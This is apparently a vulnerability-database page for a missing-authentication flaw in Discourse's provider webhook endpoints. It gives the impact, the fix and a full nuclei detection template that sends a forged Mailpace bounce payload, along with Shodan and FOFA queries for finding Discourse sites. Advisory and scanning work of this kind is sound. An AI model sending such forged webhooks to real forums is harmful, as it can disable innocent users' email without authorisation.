HexBrain

Browse / CVEs / CVE-2026-26077

CVE-2026-26077· discourse / discourse· CWE-306

Discourse - Unauthenticated Mailpace Webhook Bounce-Score Forgery

mediumseverity
6.5CVSS score
0.9%likelihood of exploitation, next 30 days
61%of all CVEs are less likely
Readycheck to confirm it

Discourse's WebhooksController contains a missing-authentication flaw caused by accepting requests to provider webhook endpoints (including /webhooks/mailpace, SendGrid, Mailjet, Mandrill, Postmark, and SparkPost) without validating a token when none is configured, which is the default state, letting an unauthenticated attacker forge webhook payloads.

Impact

An unauthenticated attacker can forge bounce-status webhook events to artificially inflate a user's bounce score, causing that user's legitimate emails to be disabled.

Fix

Upgrade Discourse to the patched version, which rejects any provider webhook request with HTTP 406 when no authentication token is configured for that provider.

How to confirm it

Send: GET /
Positive when: contains(body, "Discourse")
Send: POST /webhooks/mailpace
Positive when: regex("^\\s*$", body) and contains(header, "X-Request-Id") and status_code == 200

Run it with nuclei: nuclei -id CVE-2026-26077 -u <target>

The full check
id: CVE-2026-26077

info:
  name: Discourse - Unauthenticated Mailpace Webhook Bounce-Score Forgery
  author: str4k3r
  severity: medium
  description: |
    Discourse's WebhooksController contains a missing-authentication flaw caused by accepting requests to provider webhook endpoints (including /webhooks/mailpace, SendGrid, Mailjet, Mandrill, Postmark, and SparkPost) without validating a token when none is configured, which is the default state, letting an unauthenticated attacker forge webhook payloads.
  impact: |
    An unauthenticated attacker can forge bounce-status webhook events to artificially inflate a user's bounce score, causing that user's legitimate emails to be disabled.
  remediation: |
    Upgrade Discourse to the patched version, which rejects any provider webhook request with HTTP 406 when no authentication token is configured for that provider.
  reference:
    - https://github.com/discourse/discourse/security/advisories/GHSA-j67c-53j2-4hfw
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
    cvss-score: 6.5
    cve-id: CVE-2026-26077
    epss-score: 0.00928
    epss-percentile: 0.60856
    cwe-id: CWE-306
  metadata:
    verified: true
    max-request: 2
    vendor: discourse
    product: discourse
    shodan-query: http.component:"Discourse"
    fofa-query: body="Discourse"
  tags: cve,cve2026,discourse,authbypass,unauth

variables:
  token: "{{randstr}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 3
    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "Discourse")'
        internal: true

  - raw:
      - |
        POST /webhooks/mailpace HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"event":"email.bounced","payload":{"message_id":"{{token}}@example.local","status":"bounced"}}

    matchers:
      - type: dsl
        dsl:
          - 'regex("^\\s*$", body)'
          - 'contains(header, "X-Request-Id")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from